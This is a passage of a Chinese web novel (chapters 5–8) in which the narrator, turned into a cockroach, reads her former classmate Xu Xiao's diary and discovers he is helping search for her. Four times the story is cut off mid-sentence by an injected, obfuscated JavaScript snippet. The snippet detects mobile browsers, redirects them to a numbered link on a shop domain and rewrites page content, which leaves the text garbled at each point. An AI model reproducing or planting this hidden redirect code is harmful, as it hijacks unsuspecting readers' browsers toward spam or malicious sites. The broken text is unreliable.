十五岁的秋飒对男初中生长相如何没有什么概念,在我眼里全校的男同学众生平等;十八岁的秋飒已经学会一点用看男人的眼光看男人了,才发现再是不愿接受,我也不得不承认许枭颇有几分姿色。 可是他怎么会在这里? 与开朗大方多才多艺、天生喜欢鲜花舞台和掌声的鄙人不同,许枭这人寡淡得很,对热热闹闹的东西向来敬而远之,艺术细胞更是半分也无。 他有那么走投无路吗?连文艺部也报名了? 计院文艺部有这么缺人吗?连他也给招进去了? 困惑之间,我听到了自己的名字。 “那这一块儿就让飒飒跟他们对接吧。”职委随手指向了我。 “好,”计院那边的学姐点头,划拉出许枭在内的三四个人,“许枭,你负责。” 我与许枭面面相觑。 我一时有点不知道该说什么,便打算等许枭先开口。毕竟他们那边有三个人,他既然负责对接,理应先把他们介绍给我。 我不说话,许枭也没说话。 他静静地看着我,像是没有开口的打算。 看不太懂。 三年不见,我好像没有之前那么了解他了,无法从他的眼神里读取他此时的情绪,何况那其中的意味比以往都更复杂。 我猜,那是久违的挑衅。 许枭这个人最让我讨厌的地方就在于此,他的挑衅从来都不是张牙舞爪的,反而不动声色,用无视表达蔑视。我这样直来直去的人对上他,就会尤为吃亏。 不计较吧,就放任他一副不把自己放在眼里的样子,我咽不下这口气;计较吧,在人家云淡风轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372655|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候发难,又显得我像个疯子。 许枭还是那个许枭,又用这种老招数恶心我。 时间过去了短短两三秒,在人声鼎沸的会场,却已经久得让人有些尴尬。许枭背后三人开始对视,有些摸不清楚状况。 我等了又等,终究不能容忍这样诡异的气氛继续维持下去。 公事公办,我才不会把私人恩怨带到工作里;何况都过去三年了,成年了就要有大人的样子,小时候那点龃龉也不是不能过去。 我清了清嗓子:“我叫秋飒,负责我们这边节目的时间调度。你们的节目单出来了吗?” 许枭像是终于反应过来,轻声应道:“嗯。” 他把节目单递给我,用的是两只手。 我不动声色地接过,在心里翻了个白眼——我就说吧,许枭最会在外人面前做出这幅彬彬有礼的模样。 装货。 节目单拿到手里,排起时间,我很快就把刚刚的不愉快抛之脑后。 我来文艺部当然是想大二竞选部长的,职委把时间调度这种活交到我一个新人手里,是信任我能做好的意思,也未必没有考察我的打算。 所以我铆足了劲儿要表现,手头上的工作比什么都重要。 “……交叉着上确实方便排,但是节目的长短就没有设计了呀。万一我们两边这么一凑,正好是连着几个长的,不得把人看困啊?连着几个短的也不行,闹哄哄的。这个时长要错落有致——” 我的话音停住了,因为发现有人在跑神。 不是许枭身后的王寅、方威和毛晶晶。 许枭正眼也不眨地盯着我。 我总算知道了为什么每次上课紧盯着老师开小差,还是能被轻易抓到——人在边听边思考的时候根本不可能盯得这么死! 不眨眼,是因为他在发呆;眼神停留在我脸上,是因为他在跑神! 我怒从中来,顾不得外人在场,有点生气地叫他:“许枭?” 在身后三人有些惊愕的眼神里,许枭猛地回神,对上怒目圆睁的我,心虚地垂下眼帘。 “对不起。”他没有申辩,迅速低头认错。 一拳打在棉花上,我不仅没有消气,反而更上火几分。 不讨人喜欢就是不讨人喜欢,三年后还是让我看不顺眼;不喜欢我就是不喜欢我,十二年后还是只对我不礼貌。 当天晚上和苏槿吃饭时,我把白天的情形向她绘声绘色地描述了一番。 “……当时第一次跟你讲的时候,你还说他可能只是年龄小不懂事。现在大家都成年了,他不还是那副德行吗?” “真奇怪,”苏槿也跟着摇头,“你这么好,他怎么会从小就讨厌你呢?” 想到这里,我心念一动。 刚刚被突然回来的许枭打断,还没来得及多读几句他的日记。这次出门就不是买药这么简单了,听起来要去找苏槿,回来估计还得好一会儿呢。 岂不是可以继续偷看日记去了? 我小时候这么好,许枭怎么会这样讨厌我呢?把厚厚的笔记本翻到第一页,会是什么时候写下的?里面会有答案吗? 我展翅飞向了卧室门口。 5. 勇敢 笔记本还静静躺在原来的位置,翻开在正中间写了“C大”的那一页。 我盯着厚厚的本子,有点发愁。 想找小时候遭遇冷脸的原因,就得去翻许枭最早期的日记。这一页已经是2018年写的了,我得翻到2015年之前的部分。 如果我还是个人,这么个本子当然不足挂齿,可在下不才,现在是个蟑螂。 我用前足试探性地按压了一下纸张,而后爬到最靠近书脊的位置。薄薄的纸在我脚下微微颤动。 我试着低下头,把头和两只前足插入纸张与下方纸页之间的缝隙。缝隙很窄,要用力挤进去,像钻一条刚裂开的地缝。 谁再说恨不得找条地缝钻进去,就来当蟑螂试试。我恶狠狠地想。 定了定神,我弓起背部,用力向上顶去。 纸张被顶起了一个小小的弧度,像一个纸做的帐篷,却很快因为自身的弹性而不断试图落回去。我迅速翻转身体,用所有脚死死撑住那页纸的下表面。 千斤顶在此! 然而仅仅下一瞬,六条腿便剧烈颤抖,力量稍有松懈,那页纸借着自身的弹性“呼”地一声弹了回去,把我整个身体拍在了下面的纸页上。 我被压扁了。 挣扎着从纸下面爬出来时,我触角凌乱,六足发软。 单独的纸张太软了,反而会加大翻页的难度。我后退几步,再做新的打算。 原地休息两三分钟后,我又钻进了书脊里。视线瞬间变暗,鼻腔里充斥着纸浆的气味。两侧是层层叠叠的纸页,我仰起头,找到了面前这叠纸的根部——最靠近书脊装订线的地方。 而后转过身,用后足紧紧抓住底部相对固定的几页纸的根部,把前半身探出去,前足死死扒住我要翻起的那一大叠纸的边缘。 杠杆原理发力! 我后足蹬紧,前足前推,把浑身的重量向前压。厚厚的纸开始松动,发出轻微的“沙沙”声,那叠纸终于被我推离了沟底,开始缓慢地、沉重地向着前方倾倒。 成功了。 厚重的纸张以书脊为轴心,带着轻微的震动和风,轰然倒向前方。 我趴在桌上休息,很快缓过来劲儿,志得意满地抖了抖触角,爬上了摊开的笔记本第一页。 又是弯弯绕绕的数字,我头疼,我坚持。 许久,我终于辨认出这次的日期。 【2012.8.31】 2012年,是从小学升入初中的那一年;8月31日,差不多就在开学那两天。有点记不清是不是9月1日开学了,如果是的话,那就是开学前一天。 看来最早的一天也到初中了。没有小学时期的日记,我有点失望。 我耐心地继续往下辨认。这次下面有一行字,信息量固然大了点,读起来也就更费力。 【明天一定要勇敢一点。】 明天?开学第一天吗? 许枭每天一副云淡风轻的模样,实则连初中开学都要害怕?竟然还要专门给自己鼓劲儿,也太胆小了。 这样的许枭完全出乎了意料,我心头一阵快意——虽然没能找到关于自己的部分,但能观摩到许枭胆小懦弱的幼时心态,也算刚刚哼哧哼哧没白干。 于是心情很好地继续往下爬。 又是日期。有了这两次的经验,我辨认的速度快了很多,轻易便结合上下文确定了这一串数字。 【2012.9.1】 好,开学了!我饶有兴致地继续。 【失败了。】 字数太少,我几乎难以置信。爬来爬去,反复确认,终于确定就是这三个大字。 我心情大好。 虽然不知道许枭到底失败在哪了,但这短短三个字中所蕴含的萧条落寞,我一分不差地感受到了。 失败了就好! 如果没有看到过这本日记,完全不可能想象到,初一的许枭竟然有这样失意的时候。 我记得清清楚楚,开学第一天在走廊上遇见,许枭目不斜视地从我身边走过。 当时他拽得很呢。 我确信许枭不是没看到我,因为在远远地注意到那道人影时,我的目光在他身上定格了不到一秒。短短的一秒里,恰好能注意到许枭也正抬眼,他像是感知到这里有人在看他一样,视线朝这边扫来。 我在和他目光相接的前一秒收回视线,望向了更远处的林嘉昱,扬起个真心实意的笑脸。 林嘉昱也是和我一个小学升上来的,但比许枭讨喜多了。 他话多、爱凑热闹、到处八卦,而我喜欢身边有话多的人围着、形成热闹的氛围、然后一起八卦。我俩臭味相投,情比金坚。 “秋飒!咱俩在一个班!”他热情洋溢地抬高手臂,奋力挥舞。 “你怎么知道的?”我掠过许枭,径直朝林嘉昱走去。 余光却分了一点给许枭,依稀看见他紧绷着脸,沉默地从我身旁走过。 林嘉昱很得意:“我去老师办公室偷看了!刚刚办公室没人,我找准时机钻进去,把咱们班的名单看全了!” 他生怕别人听不见这种英勇之举,因此声音放得格外大,周围来来往往的同学都难免回头多看他一眼。 我一脸正色:“你怎么能干出这种事呢?老师不在也不能随便进出办公室呀!” 林嘉昱:? 他像见了鬼一样看着我。 而我此时正用尽浑身力气憋住笑意,维持住脸上的严肃神情。我立在原地迎上林嘉昱,而后像刚看到他背后来人一样,微微惊讶地扬起脑袋,敬了个礼。 “老师好!” 林嘉昱像见了更大的鬼一样,僵在原地不敢动弹,眼珠子转了一圈又一圈,终于缓缓回头。 他背后是个成年人。 成年人出现在学校,除了老师和主任还能是谁! 没多久我们就知道了,成年人姚文双确实是个老师。她观赏完装模作样的我和哭丧着脸的林嘉昱,终于还是没抑制住嘴角的弧度。 “上了初中就不用敬礼了,”她对我点点头,“回班去吧。” 而后竟像是没有听到林嘉昱那几句大逆不道之言一般,什么也没有追究,径直往前走了。 林嘉昱不可置信,而后如蒙大赦,拍了拍肉乎乎的胸脯,长舒一口气。 “你不仗义!”他指责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372656|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我。 我振振有词:“我是在暗示你……” 我俩高高兴兴一起往教室走,讨论起刚刚那个和善的好老师是不是教我们班的,转眼便把刚刚遇到的许枭抛之脑后。 直到今时今日站在这本日记上,我才终于知道,那天无人在意但仍昂首挺胸路过的许枭,正在鼓起勇气迎接初中,并在某件事上遭遇了失败。 快哉快哉! 我越看越高兴,正准备继续向下欣赏,却发觉眼前的文字变得不那么清晰了。与此同时,头好像也昏昏沉沉的,猛一挪动,竟有些头晕目眩。 是近距离看大字看太久了吗?我闭上眼,试图休息一会儿,却发现一切并没有好转。 不仅头晕眼花,而且身上没有什么力气。不需要从身体的信号做更多解读,我很快感受到一股原始的冲动。 我饿了。 从命悬一线的求生刺激中缓过劲儿来,尽管因为对未来的担忧和对许枭过往的好奇而延迟少许,饥饿还是很快涌了上来。 我不知道自己这具身体有多久没进食了,但醒来后活动量确实不小。从越来越强烈的生理反应看来,我得尽快寻找食物了。 对着笔记本犹豫片刻,我放弃了复原的打算。要保留最后的体力去找到食物,希望还来得及。 我先朝厨房的位置飞去。 虽然蟑螂是会吃厨余垃圾的,但我不想吃。我寄希望于可以找到一些开封后的零食,或是比较新鲜的食材。 然而刚一踏入厨房便傻眼了——没有堆放任何食材,垃圾桶空空如也,甚至抽油烟机都锃光瓦亮,放在咸鱼上可以标“几乎全新”。 我巡逻再三,终于确定:许枭根本就不自己做饭! 早该想到的。以我们这个年龄的工作压力和生活节奏,哪有自己做饭的闲工夫?我自己就是早上在路边随手买个煎饼,午饭晚饭在公司食堂吃,回家最多不过周末点个外卖,从未自己开火。 在不大不小的房子里找了又找,我绝望地发现,整个家里竟找不出能填饱肚子的东西。 许枭这种洁癖的家应该是对蟑螂来说最不宜居的地方。我固然遇不到其他蟑螂,却也很难养活自己。 没想到在变成蟑螂这样荒诞的经历里,还能遇到吃不饱饭这样现实的问题。 正茫然立在原地不知所措时,我又听到熟悉的那六声“嘀”。朝窗外望去,天色早已全黑,对面的居民楼大半都已亮起了灯,应该很晚了。 体感上,距离许枭出门已有两三个小时,也确实该回来了。 我躲到暗处,警惕地盯着门口。 门打开了。人影抬起脚、迈进门,楼道里有灯光,家里却没开灯,来人是背光的,我有点看不清他的表情。 却能从身型轮廓上一眼认出,回来的是许枭。 我看到他慢条斯理地关上门,俯身换鞋,走到客厅,没有想起开灯一般,缓缓坐在了沙发上。 我这人向来但凡有个地方坐就没有正形,怎么舒服怎么来;许枭的背却总是挺直的,从小就是老师口中“站如松,坐如钟”的典范。 此时此刻,他却任由自己瘫在沙发里,像一团陷进去的烂泥。 6. 夜晚 我在暗处等了一会儿,仍然没等到许枭开灯。 现在的我是有夜视能力的,甚至可能比当人时更强,只是在许枭进门的那一瞬间就做好了他要开灯的准备,所以眯着眼睛,防止被突然亮起的强光刺激到。 许枭却迟迟没有开灯的打算,只陷在沙发里不动弹,连手机都没有打开看一眼。 他仰着头,闭着眼,一动不动,像个死人。 我怀疑这是诱捕我出现在视线范围内的诡计,于是也耐着性子不动弹。一人一螂静如雕像,共处在一片漆黑中。 不知多久过去,许枭终于活过来了。 他面无表情地起身、开灯、走向洗手间,很快传来了“哗啦啦”的水声。我探头看去,正好看见他关上水龙头、打上洗手液而后揉搓,再打开水龙头冲掉。 动作一丝不苟,流畅如机器。 从洗手间出来,他又抽了张湿巾,开始擦手机。擦完正面擦背面,频率固定,眼神呆滞。 我好像发现哪里不对了:许枭像一只动物园里出现刻板行为的动物,重复地、机械地、无意义地做着预先设计好的动作。 他心事重重。 想来也是。许枭是为我“失踪”一事出的门,然而我此时正在他家当蟑螂,他和苏槿上哪找我去? 我一时也陷入愁绪之中。 苏槿话不多、有点胆小,对认定的事却很执拗,她既然开始找我,就不可能停下来。 可她打破脑袋也不可能想到,秋飒现在是一只蟑螂了,自然也就不可能在任何地方找到我,只能一直做无用功。 连许枭都找上了,苏槿所做的努力一定不止这些。一想到那样一个出门在外点杯奶茶都要躲在我身后由我代点的苏槿,现在要为了找我而满世界地联系原本不熟的人,就感觉一阵心酸。 不能再这样下去了。得想办法让苏槿停下,否则不仅会影响到她的正常生活,日复一日的无果和累积的失望也会把她压垮吧。 连关系不好的许枭尚且如此低落,何况苏槿呢? 正想到许枭,便见他擦好了手机,脱下外套。 把外套放在沙发上后,又以我来不及反应的速度,脱下了里面的短袖T恤。 僵尸一般的许枭边解裤子边走向浴室,一副要洗澡的架势。 我沉默地掉转了身子,背对着他。 我并非如此礼貌之辈,若是平时有机会观赏二十余岁、长相上佳的男人洗澡,必定吹着口哨搬一把椅子来。可惜今日正为自己的蟑螂躯壳发愁,再美妙的胴体我也没兴趣。 严格来说,我现在和人类有生殖隔离的。 我眼睁睁地看着许枭麻木地洗澡、上床、关灯、闭眼,没有点个夜宵吃,也没有打会儿游戏,甚至没有看太久手机。他仅仅在关灯后打开屏幕看了几分钟,就把手机放在床头充电了。 尽管明知他本就是个寡淡无趣的人,我也从许枭周身的低气压中感受出,他今天的心情格外差。 尽管明天一早醒来,他大概率会回归自己的生活轨道——今晚的费心已是仁至义尽,许枭总不可能像苏槿一样一门心思放在我身上——然而仅仅为这一晚的低落,我也在心里为他平反三分。 许枭此人,尚有五分人性在身上! 变成蟑螂的第一晚,我睡不着。 也许是因为昼伏夜出的蟑螂生物钟。 也可能是太饿了的缘故。不知道许枭是回来前吃过晚饭了,还是今晚没心情吃,反正没有一个外卖送来,家里仍然找不出能吃的东西。听说蟑螂饿急了什么都能吃,然而不到最后一步,我还是想保留生而为人的一点尊严。 当然更有可能是因为杂乱的思绪。 半睡半醒间,一会儿想着苏槿找不到我着急担心该怎么办,一会儿又怕我这辈子只能是蟑螂了,再有人欺负苏槿该怎么办。 苏槿说,她从小学被欺负到初中,如果不是高中遇见了我,可能根本活不到今天。 这是她十八岁生日那天第一次喝酒时说的,我一开始觉得她喝醉了,把什么死呀活的挂在嘴上。直到自己也过上了看不到头的日子,才在某一次又说出“不想活了”的时候,惊觉这是失意时无法避免的口头禅。 谢秋阳说,她们之所以不愿意带苏槿玩,是因为她手脚不干净。 “手脚不干净怎么啦?多洗洗不就好了吗?”没有洁癖的我不解。 “不是那个意思,”谢秋阳拿肩膀撞我的肩膀,放低了声音,“她偷过东西。” 我惊异:“真的假的?你们怎么知道的?” “听说的,和她一个初中的人都这么说。”谢秋阳肯定地点了点头。 所以当我拉着低着头的苏槿出现在谢秋阳面前时,谢秋阳犹如被背叛。 “她说她没有偷过,是别人误会她了。我们带她一起玩,好不好?” 我轻轻摇她的手。 “我和你玩了多久?她和你玩了多久?你信她还是信我?” 谢秋阳甩开我的手。 苏槿还是低着头不说话,怯怯地往我身后躲。 “那你信别人还是信我?”我于是鼓起劲儿来,和谢秋阳分毫不让地对峙,“你也是从别人那里听说的,我可是亲口听她说的,你为什么不和我一起相信她呢?” 争执变成争吵只需要几句话的功夫,从小玩到大的两个人迎来了史上最大的翻脸和一场旷日持久的绝交,至今没有和好。 反倒是苏槿和我越走越近,直到大学还在一个学校。 是苏槿早早问好了我要去哪个学校的哪个专业,她要跟着一起去。 “万一你分数比我高呢?”我笑她,“你要去更好的学校、去自己喜欢的专业呀,怎么能为了我随便报志愿呢?” 苏槿摇摇头:“我不想去没有你的地方。” 左劝右劝,她永远只有这么一句话。如果不是我们俩的分数竟然恰好如此接近,这事就真难办了。 ——这样依赖我的苏槿,没了我该怎么办呢? 在许多担忧中,我极不安稳地睡着了。 这一晚我睡得不好,因为睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372657|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉喜欢打滚,可一只蟑螂是不能在睡梦中自由翻身的。我只能放松肌肉,任凭自己顺着地心引力的方向下垂,触角还要伸向外面不时挥动,保持警戒。 好像才进入状态没多久,就被许枭的闹钟吵醒了。 闹铃和手机铃一样,都是系统默认的铃声,刚听到时还以为是我自己的,差点没反应过来此时的处境。 伸了个懒腰,却毫无伸展之感,只做到把两根前足举在眼前,这才意识到今时不同往日。 我以为自己会像昨天一样悲痛欲绝的。 可是天气实在晴朗。客厅的窗帘没有拉,早上的阳光清清淡淡的,不扎人,从窗户玻璃透进来,整个客厅都光线很好。 有多久没有起床的时候这么不急不忙了? 工作日早上被闹钟吵醒,我会按掉闹钟再睡十分钟。本来需要八点起床,但我会把第一个闹钟设到七点五十,赖床十分钟后听到第二个闹钟,再蠕动着从床上爬起来。 这十分钟常常是我一天中最珍贵的喘息之机。 如果不是肚子还很饿,苏槿的事还没解决,挥之不去的担忧还朦朦胧胧地罩在心头,此时的我简直可以算得上无忧无虑。 不用按掉闹钟、抓紧这十分钟再眯一会儿,不用等待下一个闹钟的响起,不用穿上讨厌的工服、在外面裹一个挤地铁时体面点的外套,不用匆匆忙忙洗漱化妆…… 我现在想不化妆就不化妆,想不穿工服就不穿工服,甚至可以不穿衣服——现在的我就是这么做的! 不用回到那个暗无天日的工位,提防着随时出现在身后的领导。不用计算今天的工作量,一小时又一小时地把下班时间往后延。 至于什么无故缺勤、扣钱处罚,和此时此刻的全然放松比起来,那点损失竟也算不上什么了。 扣呗扣呗扣呗,我现在只是个蟑螂罢了! 我惊疑地发现,混到如今这样人不人鬼不鬼的蟑螂处境,反而能喘得过来气了。 早说啊,早说当时投胎不当人了。 许枭的闹钟响了没两声就停了,一阵沉默中,我鬼鬼祟祟地爬到了他的卧室门口,从门缝里听到了他有点沙哑的声音。 “……对,很不舒服。我感觉头有点烫,量一下体温就去医院。” 生病了?我有点困惑。 难道昨天不是心情不好,只是身体不舒服,所以才显得病怏怏的? “不一定,可能今天一整天都要请假……好,那我提个流程。” “谢谢姐。” 他挂断了电话,卧室里重又陷入安静。 我暗喜:听起来是请了病假,那就没法在外面吃饭了,应该会点外卖到家里,或者自己做点清淡的吧? 今天的食物有望了! 我对着卧室门翘首以盼,许久,终于盼出了个只穿了条裤子的许枭。 他赤裸的、清瘦的上半身很不礼貌地骤然出现在我的视线里,而后快步走向阳台。 我又惊又羞,扬起的脑袋跟着他从右转到左,从正面看到背后。 7. 姿色 已在这副躯壳里待了一晚,我暂时抛开了刚刚变成蟑螂时的紧张感。清晨的阳光又如此慷慨,让我即使面临棘手的苏槿一事,都多了点没来由的希望。 放松之下,我终于腾出了脑子,对眼前的一幕做出了评价。 甚好! 上帝果然是公平的,给了许枭一个不讨喜的灵魂,就会再给他一具让人心旷神怡的身体。或者说给了他和我格格不入的性格,就会再给他完全长在我审美上的肉.体。 我总觉得自己在十几岁时,喜欢的类型就定型了,此后近十年都没有变过—— 皮肤要白、要干净,不能有黄气和瑕疵,要有传说中玉的质感。 要瘦,但不能瘦骨嶙峋,叫人看着像骷髅;要有肌肉,但不能多,不能油腻腻的一大块。 肩要宽而不能夸张,腰要细而不能太柔,个子要高还要兼顾比例,总不能全高在上半身,空有一米八九的个头和一双短腿。 早些年,我眼看着身边一个又一个小男孩发育起来,他们抽条,他们长高,他们有的长出胡子,有的长出青春痘,就连林嘉昱都捣鼓起减肥来,尽管从未成功。 这些年,我也孜孜不倦地丰富自己文艺作品积累,从漫画到影视,我精心挑选和品评每一次助兴动作电影里男主角的脸和身体,逐渐形成了完整的审美体系。 我的喜好终于慢慢成型,有时也难免会想,身边有没有合我心意的人选。 高中时苏槿听了我的描述,提名过隔壁班的胡昊。我远远看了,白是白,却成天穿着衣服上学,谁知道衣服底下是什么质量? 林嘉昱自告奋勇,晚上跑去人家寝室串门,最终以被宿管抓住扣两分的代价,为我带回了情报——肚子上一共就一块腹肌,整块的。 我连连摇头。 林嘉昱不甘放弃,又举荐了对门寝室的王有成。他说他亲眼看见过人家脱得只剩一条内裤的样子,绝对符合我的要求。 我第二天跑去王有成班门口看了,转头就恨铁不成钢地去戳林嘉昱的脑门。 “你是看了身上就一点都不看脸啊?” “我觉得他长得很英气呀,你看那个下颚线!”林嘉昱不服。 “你看看他脸上的坑坑洼洼,”我斜眼看他,“让你自己去亲,你下得去嘴不?” 林嘉昱思考,林嘉昱想象,林嘉昱服气地偃旗息鼓。 当然了,我不是没有想起过许枭。 我知道他白,也看得出他瘦,可惜许枭更不可能在外脱衣服,小学初中时又没有住校,林嘉昱也无从偷看,因此我无从考证。 同桌那一年,确实有那么几次印象潦草地印在了脑子里,让我到了高中还能回忆得起。 比方说课间他趴在桌子上眯一会儿,这个时候肆无忌惮地看他也不会被发现;再或是他上课站起来回答问题时,全班同学都会扭过头来盯着回答问题的人,我的目光混在其中也不突兀。 所以我知道他睫毛很长,也知道他从脸到手都是白的,知道他从来没起过什么痘痘,也知道他稳定地没有发胖的迹象。 可那都是十五岁以前的事了。 考虑到许枭外形上再是过关,我也不会把他纳入考量,因此只能恶狠狠地心想,他会在高中短短三年里走入青春期,该长痘长痘,该发福发福,该晒黑晒黑。 文艺部第一次联排时见到许枭的那一刻,我像一个诅咒落空的恶毒女巫。 而此时此刻,我屏住呼吸,看着许枭从阳台上随手拿了件T恤,往身上一套,走向了洗手间。片刻便传来哗啦啦的水声,应该是开始洗漱了。 从方才的惊鸿一瞥中品出,许枭的身材就像他这张脸一样,稳稳地踩在我的审美上。 使我不免陷入了怀疑:会不会是我审美有点差? 不多时,许枭从洗手间出来,神情已很清明,不像刚睡醒的样子。黑眼圈在眼下,红血丝在眼里,我盯着他的眼睛,怀疑他昨晚也没有睡好。 他走向沙发坐下,拿起手机敲了没几个字,又摇摇头,起身走向了书房。 我迟疑片刻,最终还是选择跟上。 书房我还算熟悉,地形也足够隐蔽,跟上去不至于被发现。只是总觉得好像忘了什么,书房…… 许枭停在了书桌面前。 书房!书桌!笔记本! 我走的时候没有多余的力气,放任笔记本摊开在第一页留在了那里! 做了坏事被抓包的紧张感一瞬间涌了上来,很快流过我的全身,我一个激灵。下一秒却反应过来——又不是人类秋飒潜入他家、偷看了他的日记,我慌什么呢? 他就算发现了笔记本被人动过,也只能怀疑有风吹过、自己记错了,或是有小偷潜入过。可是窗户关着、没有风,家里又什么也没丢,不像有过小偷的样子,只能是他记错咯。 退一万步讲,就算他真的怀疑到我头上,那也只是蟑螂秋飒。一只蟑螂如何使笔记本翻动暂且不提,关键蟑螂也不识字呀! 我越想越放心,理直气壮地看着他的背影,却发现他已经停在桌前很久了。 还在思考吗?还在怀疑什么呢? 却见许枭终于有了动静——他坐在书桌前的椅子上,拿起笔记本到面前,把头埋在纸页里,深深叹了口气。 从昨晚到今天早上,他一直不太像个活人,直到这会儿才像有了正常人的情绪,虽然是低落的情绪,但好歹活过来了。 我试图理解他的行为。 在数学题实在写不出来,老师讲的物理题实在听不懂的时候,我会把头埋进书里,像一只把头埋进沙子里的鸵鸟。 在毕业那年遭遇那场变故时,在每天早上不愿面对上班时,我会把头埋进枕头,像小时候埋进妈妈柔软的肚子,外面下大雨还是打雷闪电都和我没有关系。 于是我有了些明悟:许枭遇见了他不愿发生却无能为力的事。 发生了什么?和他今天请假有关吗?总不能是我失踪的事吧。除了这件事,我不知道他昨晚至今还遭遇过什么;可如果是为我,他不至于如此愁眉苦脸。 我想不明白。 许枭把头从本子里拔了出来,他拍了拍自己的脸,掀开了一旁的笔记本电脑。 这是要居家办公吗? 不是说“量一下体温就去医院”吗?怎么既不见他量体温,也没有出门的打算? 许枭鼠标来回挪动和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372658|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点击了没几下,就开始敲起字来。他的手机放在一边,偶尔看上两眼,有时候会拿起来看一会儿,然后对照着手机往电脑里输。 我想知道他在干什么,可是从地面看电脑屏幕,因为角度和距离的问题,只能看到白花花的一片。 左等右等,他仍是同一幅姿势,做着重复的动作,我有点无聊了。在这里干等又不会有饭吃,我还不如趁白天光线好,再去其他房间搜寻一番。 正准备抬脚之际,听见了远处传来拍门的声音。 他显然也听见了,停下了手头的工作,扬声问道:“谁?” “外卖!”门外的声音因为门的阻隔而有点模糊。 “放门口。”许枭边说着,边起身往客厅走去。 外卖? 我的触角一下子支棱起来。听起来我有机会吃上饭了啊! 尽管很期待外卖送来了什么吃的,我还是明智地没有跟过去,而是趁着许枭离开的这会儿功夫,立刻起飞,直奔电脑屏幕而去。 扇动着翅膀悬在空中,视线与电脑平齐,控制在一米左右的距离,我终于看清了屏幕。 朴素直白的word文档,平铺直叙的、密密麻麻的黑字。 「一.任务分配 1.苏槿 (1)带身份证、秋飒近照和身份证号,向警方说明已失联满24小时。强调有自杀倾向。 (2)制作寻人启事… … 2.许枭…」 来不及看完更多,关门声传来,许枭应该已经拿到了外卖,马上就要回来了。我带着满腹狐疑,飞回了藏身之处。 真是在忙我的事啊? 有点不可思议。一种奇异的感受在我身上爬,爬得我浑身不自在。 我感觉有人在戳我的脊梁骨,为我一直以来对他的讨厌、冷落甚至是排挤。尽管并没有真的伤害到他——他好像本来就没打算跟我们玩——但我总归是这么做了。 我的脸有点热热的,这个应该叫害臊。 也有人在戳我的心窝。 我总以为出了校园、进了社会就是在泥潭里摸爬滚打,大家都着急忙慌地过马路、等自己的红绿灯,没有人有空管别人的。 然而看起来最冰冷、最疏远、甚至是最讨厌我的许枭,竟也能为我的失踪操心至此。 真是人间自有真情在啊! 心里有点触动。如果这辈子还能变回人形,我要给留守儿童捐点款一类的。 许枭好像留在客厅没有回来。我心里软软地爬了出去,准备看看他点了什么吃的、我有没有机会偷到几口。 外卖送来的袋子鼓鼓囊囊,我满心期待。 却见他从中先掏出了两个土豆。 土豆?直接蒸熟吃吗?还是说他会炒土豆丝? 他又走向昨晚提回来的塑料袋,那袋子是黑色的,当时我猜里面是蟑螂药一类的。反正都是冲我来的呗,管他是什么呢,我躲远点、别碰到就行。 他从里面拿出一袋白色的粉末。上面赫然写着两个大字,我轻易就能看清。 【硼酸】 硼酸、土豆… 朋友,你是要杀了我吗? 8. 怀疑 土豆蒸熟,碾成泥,加入硼酸粉,充分混合均匀。将混合物捏成小丸子,放置在蟑螂经常出没的角落,蟑螂会被土豆泥的淀粉香味吸引前来取食。 硼酸会破坏蟑螂的消化系统,起到脱水的作用,所以蟑螂会去寻找有水源的地方,比如下水道。 不仅会死,而且会死得远远的。 我刷到过不少次这个妙招。对于连蟑螂尸体都不想看见的人来说,这是最好的办法。 许枭把土豆拿进了厨房,不一会儿,传来了“哗啦啦”的流水声。 给我做上路饭还要洗干净呢?谢谢啊。 我干脆跟着进了厨房,立在许枭背后,静静地看着他为我做饭。他显然不太熟练,洗完土豆思考了一会儿,才做出了先把皮削掉的选择。削得也歪七扭八,光滑的土豆几次从他手中飞出,使我心惊胆战。 终于把土豆放进了蒸笼里,他几乎是松了口气,如蒙大赦地回到了客厅。 我躲在视线死角,看着他从塑料袋里又拿出个橙黄色的盒子。 